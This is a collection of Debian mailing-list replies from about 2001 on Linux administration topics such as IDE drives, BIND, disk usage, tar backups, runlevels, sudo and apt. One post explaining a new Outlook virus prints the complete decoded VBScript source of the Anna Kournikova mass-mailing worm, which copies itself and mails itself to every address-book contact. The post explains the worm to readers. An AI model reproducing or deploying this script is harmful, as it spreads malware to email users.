Hmmm... Try looking near the top of the case in one of the 5.25 bays.. That's often where the CD ROM can be found. The d drive is usually found in MS Windows or in MS DOS, not Linux. :-) (Sorry.. it's Friday) Seriously though, I'm guessing you probably have your CD ROM and your second hard drive D on the secondary IDE controller. You probably had one of the two die on you, taking the entire IDE chain down with it. Reboot your machine, and see which drives are recognized by the BIOS. Maybe try re autodetecting your drives if your BIOS supports it (most BIOSes after '95 or so will). Try unplugging the hard drive and see if the CD ROM reappears... Try plugging in just the hard drive and unplugging the CD ROM and see if the hard drive reappears. Of course, before doing all this you should check to see if anything obvious (like an accidentally unplugged cable) has happened. --Rich cris wrote: my cd-rom is missing, also my d drive where do i look ? -- _ Rich Puhek ETN Systems Inc. _
Re: Linux Books
Number one is to get what you find interesting. I'd find a Barnes and Noble or similar bookstore to do some of your selection. I like to wander through the computer books section and page through some of what catches my eye. Often I find that a book that looked real interesting is actually very shallow in its explanation. Other times I find that the book dives much further into the subject than I really care about. By loooking at the book itself, you'll see the scope of its coverage and its applicability to your needs. As for some other suggestions... You might want Programming PERL from O'Reilly and Assoc. There are a load of other books out there on PERL, but you'll probably find that the camel book will get you up and running in PERL rather quickly (assuming that's a desireable goal for you). If you're planning on administering your own machines at some point, and need to provide web or email services, the Apache and Sendmail books from O'Reilly are almost mandatory. Be forwarned that the Sendmail book will likely require $400 worth of reinforcing to your bookshelf. It has also been rumored to distort gravaty in the near vicinity, so you might confuse some of your collegues in the Physics department. By your current books and by your job, I assume you'll be doing some C++ programming. You might want a C++ programmer's reference to keep handy in addition to the manuals you already have. The reference will be easier to search through once you've got the basics down. --Rich George M. Butler wrote: Hi all, I have been asking questions on this list and received lots of help. I am new to Linux but have some limited experiece with Unix in the past. I have just discovered that my employer will let me have $400 to buy books related to my job. I am a member of a mathematics faculty so naturally Linux is job related. I would be interested to hear from the contributors of this list what are their favorite Linux, Unix, Networking, Programming Language, or related books. Titles I already own are: Unix, System V, Release 4, Rosen et al, McGraw Hill, 1990, Common Lisp, Steele Jr, Digital Press, 1984, A Programmer's Guide to Common Lisp, Digital Press, 1987, Linux in a Nutshell, Siever, O'Rielly, 2nEd, 1999, Learning Debain/Gnu Linux, Mc Carty, O'Reilly, 1999, C++, How to Program, Dietel Dietel, Prentice Hall, 2nd ed, 1998, Running Linux, Welsh et al, O'Reilly, 1999, C++ Primer, Lippman Lajoie, Addison Wesley, 1998. The TeX Book, Knunth, Addison-Wesley, 1984, I have to spend the money by May 1. I hope this message is not off topic but I feel lots would be interested to hear the responses of the readers of this list. Thanks for your help. George -- -- _ Rich Puhek ETN Systems Inc. _
Re: named/bind vs. /etc/hosts.deny -- can't verify hostname
Will, A few questions, mostly to ask yourself, that may help you find what's going on. Why mess with bind on the internal machines? Why not just populate /etc/hosts and be done with it? Regardless, which machines are entered into /etc/hosts on duo? Does an nslookup or a dig against the DNS server jive with the /etc/bind files? Shouldn't you have a $ORIGIN lan. in your first file (after the @ sections)? How does your machine show up in the logfiles? (something like telnetd ... connect from mac (192.168.1.100) or ...connect from mac.lan. (208...? --Rich will trillich wrote: Apr 17 14:58:33 duo xinetd[325]: warning: /etc/hosts.deny, line 15: can't verify hostname: gethostbyname(kat.lan) failed aaugh! my wife's machine is windo~1 98 at 192.168.1.200; my machine is a mac os 8.1 at 192.168.1.100. i have no trouble connecting via ftp (or ssh or http) but she's bounced out with the xinetd[325]: warning: /etc/hosts.deny, line 15: can't verify hostname: gethostbyname(kat.lan) failed we both have the same nameserver setup (name server is debian potato at 192.168.1.1) ... what do i need to look for? here are the /etc/bind/lan* files that pertain: ; ; *.LAN bind/named/dns ; $TTL 2W @ IN SOA lan. root.lan. ( 200104171 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ); Default TTL ; @ NS ns A 192.168.1.1 ns A 192.168.1.1 duo A 192.168.1.2 mac A 192.168.1.100 kat A 192.168.1.200 and here's the reverse-lookup file to match: ; ; *.LAN reverse lookup bind/named/dns ; (1.168.192.in-addr.arpa) ; $TTL 2W @ IN SOA lan. root.lan. ( 200104173 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ); Default TTL @ NS ns.lan. @ PTR lan. ; 1 IN PTR ns.lan. ; 2 IN PTR duo.lan. 100 IN PTR mac.lan. 200 IN PTR kat.lan. duo.lan is a secondary debian server, and she can't get in from 192.168.1.200 because of a gripe against /etc/hosts.deny, which contains ALL: PARANOID but i can get in from 192.168.1.100 with no trouble. what gives? -- don't visit this page. it's bad for you. take my expert word for it. http://www.salon.com/people/col/pagl/2001/03/21/spring/index1.html [EMAIL PROTECTED] http://sourceforge.net/projects/newbiedoc -- we need your brain! http://www.dontUthink.com/ -- your brain needs us! -- _ Rich Puhek ETN Systems Inc. _
Re: Diagnostic advice: How to find; what filled up a 27% of 13.3 Gb drive overnite!
John, Start by doing a cd to / (root directory). Then (as superuser, just to eliminate annoying permission denied messages) do: du -sh * | more Which will give you the disk usage of all the subdirectories. One of them will likely be much bigger than the others (probably /var). If so, cd to that directory, and repeat the above command. By repeating that sequence, you'll find the biggest problems. Also, you'll probably want to look at a better partitioning scheme to limit the damage when/if this happens again. For a system like yours, probably a scheme like the following: /dev/hda1 200MB swap /dev/hda2 5GB/ /dev/hda3 2GB/usr /dev/hda4 (everything else) /var Push more onto the / partition if your /home gets real big, more onto /usr if /usr/local/src gets big, and more onto /var if your logs are killing you for some reason. --Rich John Foster wrote: I am running a mixed testing/unstable system and after my last upgrade I have 2 new problems. My test system is on a 13.3 Gb drive and I have been at 63% full for about a year. I was downloading some mail and got a disk full error. I had NEVER seen this before on any of my Linux systems. I checked and sure enough the disk is showing 100% full. I moved a bunch of old archives (about 7%) off it and left it sit for a day. When I came back it was completely full again. Any ideas on how to locate the problem. I have NO Clue. Thanks! John -- _ Rich Puhek ETN Systems Inc. _
Re: Funny Story
http://spaceflight.nasa.gov/station/crew/exp1/ex1logs.html Karsten M. Self wrote: SNIP Yes, you can read all about it in the journal of one of the astronauts. Speaking of which, I went hunting last night but couldn't find them. Link, anyone? -- _ Rich Puhek ETN Systems Inc. _
Re: NFS mount at startup
The Automounter will help you. The documentation wasn't real clear to me at first, but I managed to get it up and running. See the Automounter mini-HOWTO at: http://www.kernel.org/LDP/HOWTO/mini/Automount.html or your favorite LDP mirror for more details. --Rich Stephen E. Hargrove wrote: How do I prevent NFS filesystems from mounting when I start up my computer. As the system is booting, it attempts to mount them, and I only want them mounted when I want them. Here's one example from my fstab: papa:/music/music nfs rsize=1024,wsize=1024 0 0 -- steve -- _ Rich Puhek ETN Systems Inc. _
Re: backing up and rebuilding the kernel
Look into doing something like: tar -clzvf /home/somedir/My_backup.tar.gz /* The -l (el not one) option will keep tar from trying to move off to another filesystem. You might want to leave off the -z from the options to skip compressing the archive (name it My_backup.tar then). You've got a 2Gb root and 18Gb /home, so the space savings might not be important. As for safely fiddling with your kernel... you'll want to get familiar with how LILO works and where your kernel goodies are. The Debian kernel install tools help a lot, since they try to keep your last successful kernel around in case the new one fails to load. Basicly, you'll end up with two files in root (actually, they're usually symlinks to files located in /boot): vmlinuz and vmlinuz.old. Lilo will try to load up the vmlinuz image at boot. If that image fails, you can hold down shift (or was it spacebar?) as your machine restarts. You will be presented with a boot: prompt, which will allow you to chose a kernel image to load. It's been a long time since I've had to do this (been lucky with my kernel builds lately), but I believe all one needs to do is enter vmlinuz.old to load the old image. Don't worry about problems enabling SMP support... that's fairly simple (a checkbox in the kernel config). The other little details like device drivers will get you. If you're a constant fiddler you're probably able to figure it out though :-) --Rich JACKSON, DEAN wrote: Right I have just spent the last 3 evenings building a debian server (much to my fiancés disgust) it has 2 hard drives a 2gb and a 18gb all the system files are mounted on the 2 gb(sda1) /home is mounted on the 18gb(sdb2) (swap is sda1) what is the easiest way to back up the system files (2gb sda1) to a single file on the 18gb/home (so it can be backed up onto a tape drive one day) and also if I need to restore what is the best way? a bulk restore would be required to get the system back to how it is now/when I last backed it up I need to do this as I am a constant fiddler and newbie so I cock up regularly and do not know how to undo what ive done sometimes. and the next task involve a kernel re-build to enable dual processor support (smb) and im scared just thinking about it so any advice here would be nice. all I want to do is add smb can I do this without deleting anything I already have?(newbie not sure exactly what ive got but it works!) Dean Jackson TeleWare email [EMAIL PROTECTED] Telephone 01908 251474 Dean Jackson (E-mail).vcf This message has been checked for all known viruses, by Star Internet, delivered through the MessageLabs Virus Control Centre. For further information visit: http://www.star.net.uk/stats.asp -- _ Rich Puhek ETN Systems Inc. _
Re: Daemon mgmt was Re: turning off /sbin/portmap
Also look at the update-rc.d command (see man update-rc.d for details). That will allow you to do things like: update-rc.d postres start 3 (start postres in runlevel 3) update-rc.d postres stop 50 6 (stop postres at sequence 50 in runlevel 6) --Rich Alan Chen wrote: Just as an excercise to my own sys admin knowledge, I'll summarize my general knowledge and just ask if anyone has suggestions or differences in my understanding. Daemons (or services) can be manually manipulated in debian using /etc/init.d/daemon with the command start, stop, restart, etc.. This will only change what is currently running. If you reboot, whatever was configured for your runlevel will be started again. rcS.d/ is stuff started for every runlevel rcn.d/ lists runlevel specific daemons that are started at boot update-alternatives (or was it alternatives-update) is a admin tool for adding, removing daemons from various runlevels. To remove a daemon from starting at a given runlevel, i generally just delete the entry in the /etc/rcn.d directory. Are there any reasons for not doing that? I wish the update-alternatives would accept syntax like update-alternatives +3 postres to add postgres to runlevel 3. Maybe it does, it's been a while since I last used it. Any other general notes? -- _ Rich Puhek ETN Systems Inc. _
Re: Linux Virus
Well... remember that most of the recent Melissa style worms are slapped together with Visual Basic... Not a great risk that ext2 support will show up :-) --Rich ...and the paperclip winked at me and said: It looks like you're writing a macro virus... Would you like help? (another stolen .sig) Ethan Benson wrote: something more nefarious would be for the virus when run from windows to find linux partitions and use internal ext2 support to modify binaries on the linux filesystems. -- _ Rich Puhek ETN Systems Inc. _
Re: pdf editor ?
On Tue, 20 Mar 2001, John Griffiths wrote: Also ps2pdf is pretty disapointing in comparison to acrobat distiller, mainly because of the font support and acrobat's freedom to use the encumbered LZW compression algorithm. The font support of ps2pdf can be fixed by upgrading to the latest gs-aladdin in unstable (or any Ghostscript 6.0). If you run Potato (like me), you can always download the sources and compile it yourself. Rich -- From the Desktop of Rich Renomeron Hard work has a future payoff. Laziness pays off now.
Re: Wvdial - How do you surf without being root?
On Mon, 19 Mar 2001, Usuario Universo Online wrote: Wvdial can only be set to be run as root, isn't that right? If it isn't so, how should you set permission to run it without being root? I would suggest installing the sudo package. Using sudo, you can allow certain users access to certain commands with root privileges. Once set up, you can issue the command sudo wvdial ... and you'll be up and running without worrying about setuid problems and device file permissions. Rich -- From the Desktop of Rich Renomeron Don't take life too seriously, you won't get out alive.
installing win98 after everthing else....
Howdy all, I've got a tri-boot box - linux, win95 and freebsd... I would like to install win98 and eventually erase win95. I have 2 hard drives configured as follows: master: /dev/hda1 win95 /dev/hda2 freebsd /dev/hda3 debian root /dev/hda4 debian swap slave: /dev/hdb1 extra ext2 primary /dev/hdb2 another ext2primary /dev/hdb3 vfatprimary /dev/hdb5 vfatlogical /dev/hdb6 vfatlogical /dev/hdb7 ext2(/usr) logical /dev/hdb8 vfatlogical /dev/hdb9 vfatlogical /dev/hdb10 vfatlogical What I want to do is change /dev/hdb1 to vfat, unplug my master, configure my slave as master temporarily, install Win98 on /dev/hdb1, then reassign original master / slave, put Win98 in Lilo and have a quad boot box for awhile whilst I get stuff tranferred from win95 to win98... my question is, will win98 allow itself to be installed on a partition of my choosing, or will it just erase everything and install itself wherever it wants? Thanks in advance, Rich
Re: VMware work on Debian
On Thu, 8 Mar 2001, Randolph S. Kahle wrote: Can someone tell me if they have had success running VMware on Debian 2.2(r2)? I have it mostly working, but with a few minor problems. For one, I haven't gotten sound working. I'm not sure whether it's Debian or a hardware problem (I switched hardware and distro at the same time, and I don't completely trust the sound), and I haven't been terribly motivated to look into it as much as I should. It also wants me to rerun vmwareconfig.pl after each reboot, but I think that has to do with my self-compiled kernel (mis-)configuration. It suffices for what I do with it. Good luck, Rich -- From the Desktop of Rich Renomeron Aren't these one-line witticisms pretentious?
Re: Compiling KDE apps, headers fails
On Sun, 4 Mar 2001, Matthias Gasser wrote: Alway when i want compile a KDE app un my debian (2.2 / woody) box, the ./configure of for eg. kmuser, or qtrans, fails with the error: ###snip### checking for KDE... configure: error: in the prefix, you've chosen, are no KDE headers installed. This will fail. So, check this please and use another prefix! ###snip### You don't have the development packages installed, which have the headers. apt-get install kdelibs-dev You should also have libqt2-dev installed too, if you don't have it already. You might need some other foo-dev packages, too, depending on what your app requires. Generally, if the app requires package libfoo, you'll need to have libfoo-dev (although check the Debian package list (unstable) for the exact name, the correspondence is not always 1:1). Good luck, Rich -- From the Desktop of Rich Renomeron Why do kamikaze pilots wear helmets?
Re: Dell 4200 w/perc3 raid
Bryan, See the following for PERC/3 info. The first one has Debian disk images and kernel patches that will work great to install the PERC/3. I've never tried it on a 4200, but I have installed on an 2450. http://www.merilus.com/~kevin/aacraid.html http://domsch.com/linux/ --Rich Josep Llauradó Selvas wrote: On Wed, 21 Feb 2001, Bryan Hall wrote: Upon initial setup, Debian distro doesn't appear to recognize the perc3 raid controller. No problem.. drivers not installed, likely. Unfortunately, upon attempting to utilize the 'preload drivers' function in the setup, it returns an error message stating 'Cannot mount floppy' critical error, and places me at the 'configure network' screen under the assumption that it's a diskless station I'm on. -- _ Rich Puhek ETN Systems Inc. _
Re: Making a Backup to a CD-RW
On Tue, 20 Feb 2001, Phillip Deackes wrote: Thanks, Richard. I downloaded cddump and it works well. However, I can't seem to get it to backup multiple directories. How would I, say, get it backup /home and /etc? I tried 'cddump 0 /etc /home' and it ignored /home. There is nothing in the man page to suggest how it can be done. You can only back up one directory (or directory tree) at a time. Furthermore, everything you back up must be on the same filesystem. And a word of warning: My last 0-level backup did not contain any symbolic links (e.g. /etc/alternatives and /etc/init.d), so when I tried to do a full restore, I had some problems. My impression from poking around the code a bit symlinks are not supported. Good luck, Rich -- From the Desktop of Rich Renomeron Madness takes its toll. Please have exact change.
Re: Regenerating /etc/alternatives
On Tue, 13 Feb 2001, Brian Frederick Kimball wrote: This is untested, since naturally I'm not about to hose my system for a complete stranger. :-) cd /var/lib/dpkg/alternatives update-alternatives --auto * Thanks for the advice. It *almost* worked. Here's what worked: #!/bin/bash cd /var/lib/dpkg/alternatives for j in * do update-alternatives --auto $j done Rich -- From the Desktop of Rich Renomeron Atheism is a non-prophet organization.
Re: New outlook Virus
ASCII 17 to ASCII 32 (space) */ char2 = char2 - 2; fprintf(stderr,out#1:%c(%i), out#2:%c(%i)\n,char1,char1,char2,char2); printf(%c%c,char2,char1); } return 0; } Here's the output of the program (With some retouching to take care of funky characters): 'Vbs.OnTheFly Created By OnTheFly On Error Resume Next Set E7O3tH65p4P = CreateObject(WScript.Shell) E7O3tH65p4P.regwrite HKCU\software\OnTheFly\, Chr(87) Chr(111) Chr(114) Chr(109) Chr(32) Chr(109) Chr(97) Chr(100) Chr (101) Chr(32) Chr(119) Chr(105) Chr(116) Chr(104) Chr(32) Chr(86) Chr(98) Chr(115) Chr(119) Chr(103) Chr(32) C hr(49) Chr(46) Chr(53) Chr(48) Chr(98) Set rOwamTjngb5= Createobject(scripting.filesystemobject) rOwamTjngb5.copyfile wscript.scriptfullname,rOwamTjngb5.GetSpecialFolder(0) \AnnaKournikova.jpg.vbs if E7O3tH65p4P.regread (HKCU\software\OnTheFly\mailed) 1 then e2nSA7HlgLC() end if if month(now) =1 and day(now) =26 then E7O3tH65p4P.run Http://www.dynabyte.nl,3,false end if Set JKgSwHK773x= rOwamTjngb5.opentextfile(wscript.scriptfullname, 1) ZN5JKZ4xiuV= JKgSwHK773x.readall JKgSwHK773x.Close Do If Not (rOwamTjngb5.fileexists(wscript.scriptfullname)) Then Set UeI22z8P4v0= rOwamTjngb5.createtextfile(wscript.scriptfullname, True) UeI22z8P4v0.writeZN5JKZ4xiuV UeI22z8P4v0.Close End If Loop Function e2nSA7HlgLC() On Error Resume Next Set D23OvxM6KRH = CreateObject(Outlook.Application) If D23OvxM6KRH= OutlookThen Set j25tNZB9f8l=D23OvxM6KRH.GetNameSpace(MAPI) Set S6k211ge33L= j25tNZB9f8l.AddressLists For Each JR2mPsM2BmR In S6k211ge33L If JR2mPsM2BmR.AddressEntries.Count 0 Then d4BD3xgwv1J = JR2mPsM2BmR.AddressEntries.Count For X789Va3zRez= 1 To d4BD3xgwv1J Set iq72b483v3Z = D23OvxM6KRH.CreateItem(0) Set OIE4BVYjOJ8 = JR2mPsM2BmR.AddressEntries(X789Va3zRez) iq72b483v3Z.To = OIE4BVYjOJ8.Address iq72b483v3Z.Subject = Here you have, ;o) iq72b483v3Z.Body = Hi: vbcrlf Check This! vbcrlf set fWsnq8YG9f1=iq72b483v3Z.Attachments fWsnq8YG9f1.Add rOwamTjngb5.GetSpecialFolder(0) \AnnaKournikova.jpg.vbs iq72b483v3Z.DeleteAfterSubmit = True If iq72b483v3Z.To Then iq72b483v3Z.Send E7O3tH65p4P.regwrite HKCU\software\OnTheFly\mailed, 1 End If Next End If Next end if End Function 'Vbswg 1.50b CERT has some more info out there, but that's a look at the guts of the worm anyhow... --Rich -- _ Rich Puhek ETN Systems Inc. _
Re: HELP! Can't even ping a local host :-(
Check your network cabling. I'd suspect that B may have a bad receive pair. Also make sure that you didn't plug into an uplink port if you're not supposed to, or that you didn't hit an uplink button on the hub. --Rich Jonathan Matthews wrote: Hi - Sorry for this intrusion into your inbox for what I know will be a simple RTFM question, but the trouble is that I've RTFM lots to get this far (and things *were* working), and it's all gone pear-shaped simply (as far as *I* can see) because I moved my boxen up a flight of stairs! I can post a bunch of /etc files if needs be, but the simple problem is that I can't telnet to, ftp or even ping my local machines, on eth0. The most telling symptom (I hope) is that when host A pings host B, the hub only registers activity on host A's port, but when B pings A, both ports are active, yet both pings record 100% packet loss. Does this ring any bells with anybody? For the record, /etc/hosts.deny is disabled on both boxen, and they're both running Debian 2.2 (r0 on one, r2 on the other). Telnet, ftp (and any other service that is running on either box) ireturns a no route to host, and unless I'm blind, /etc/network/interfaces and /etc/hosts tally on both machines. This was all working before the weekend, and although I'm sure I didn't do much to them over the duration, I was muckoing around with some scancodes to get my Internet Ready Compaq keyboard working. I've backed those changes out, but this hasn't improved things at all. I'd really, really (really) appreciate some help on this! As I said before, just shout out a /etc file you'd like to see, and it'll be in the post the next day. Cheers! jc -- _ Rich Puhek ETN Systems Inc. _
Regenerating /etc/alternatives
Apparently my backup software doesn't handle symlinks across filesystems very well, and when I recently did a full restore, my /etc/alternatives directory got clobbered. Is there a quick way to regenerate it, other than manually going through it (either using update-alternatives or by hand)? If I have to reinstall all the packages (similar to upgrading with Red Hat), is there a way to do *that*? Thanks, Rich -- From the Desktop of Rich Renomeron Madness takes its toll. Please have exact change.
Re: PIII 2.4.0
http://www.hobby.nl/~clifton/bogomips-2.html#ss2.5 Explains what's going on... Oki DZ wrote: Viktor Rosenfeld wrote: I still find it interesting, that his bogomips count has increased by factor 2. Yes, me too. And in fact, I was pretty happy (at least for a while)... wow, I upgraded the kernel, and now my machine has doubled its power My bogomips count has always been the same on the same machine, regardless of whether I used a 2.0, 2.2, or now 2.4 series kernel. It has never changed it's value (apart from one or two 1/100) on both an AMD and an Intel chip. I have no problem with a Pentium (I) machine (the one I use); 2.2.13, 2.4.0 work perfectly. I just recently noticed that on a P III Katmai, the bogomips number doubled. I don't know whether it would make any difference on a P III Coppermine; this one, using 2.2.13, works OK. -- _ Rich Puhek ETN Systems Inc. _
apt-get tricks
Hello, I have a CD-ROM-less laptop running the original 2.2 and a set of official 2.2r2 CD's, and I would like to use them to upgrade without having to connect to the internet. Is there any way, documented or otherwise, that I can use a network-shared CD-ROM drive (NFS, SMB) on another machine and still use the multi-CD capability of apt? Another question: Do the archives listed in /etc/apt/sources.list have to have the correct Debian directory structure? I would like to have apt-get look into an unorganized directory of deb files (specifically a copy of the contents of /var/cache/apt/archives on another machine) so I don't have to download the same set of packages twice for each machine. Thanks, Rich -- From the Desktop of Rich Renomeron If you cannot convince them, confuse them.
Re: Get a single file from a tar archive?
Rob: Try tar --extract --file=archive myfile where archive is the name of your tar file, and myfile is the name of your desired file. See info tar for more details. --Rich Rob Hudson wrote: Anyone know of a way to do this? I need a single file out of a 1.6GB tar archive. It takes a _long_ time to untar|ungzip the archive. Is there a way to get that one file out if I know the exact name of it? Thanks, Rob -- _ Rich Puhek ETN Systems Inc. _
Eterm, /dev/null, and segfaults
Howdy all, I just installed Slink onto an HP pentium 166 from CD. I'm using Windowmaker... When I tried to use Eterm as root, it worked... when I tried to use it as a normal user, it said something about /dev/null and segfaulted... /dev/null is set up like so... crw-rw-rw- xterm, however, worked for both root and normal users. I then used apt to upgrade to Potato over ethernet Eterm still works for root, but now when I try to run Eterm OR xterm as normal user, absolutely nothing happens. No window, no disk-noises, nothing. However, if I switch to twm, I can get a cheesy-looking xterm. Strange? I last clue when I log out of Windowmaker, before switching to back to wdm, a screen of strange SVGA-looking chaotic graphics briefly flashes - it does NOT do this for root. Any clues? Thanks in advance, Rich
Eterm, /dev/null, and segfaults
Howdy all, I just installed Slink onto an HP pentium 166 from CD. I'm using Windowmaker... When I tried to use Eterm as root, it worked... when I tried to use it as a normal user, it said something about /dev/null and segfaulted... /dev/null is set up like so... crw-rw-rw- xterm, however, worked for both root and normal users. I then used apt to upgrade to Potato over ethernet Eterm still works for root, but now when I try to run Eterm OR xterm as normal user, absolutely nothing happens. No window, no disk-noises, nothing. However, if I switch to twm, I can get a cheesy-looking xterm. Strange? One last clue when I log out of Windowmaker, before switching to back to wdm, a screen of strange SVGA-looking chaotic graphics briefly flashes - it does NOT do this for root. Any clues? Thanks in advance, Rich
mozilla segfault...
Howdy all, I am running Windowmaker on a pure potato system. I just grabbed mozilla using apt, but this is what happens when I try to run it... monkeyhouse:~/$ mozilla Profile Manager : Profile Wizard and Manager activites : Begin Profile Manager : Command Line Options : Begin Profile Manager : Command Line Options : End ProfileManager : GetProfileDir ProfileManager : GetProfileDir Profile Manager : Profile Wizard and Manager activites : End Segmentation fault Any ideas? Thanks in advance, Rich
can't load a library...
Howdy all, I'm trying to install a program that relies on libXt.so.6 and libX11.so.6. Whenever I try to run it I get the message, 'can't load libXt.so.6' I've done dpkg -S for both of these and see that xlib6g provides both. I've got this installed, so can anyone tell me what the problem could be? thanks in advance, rich
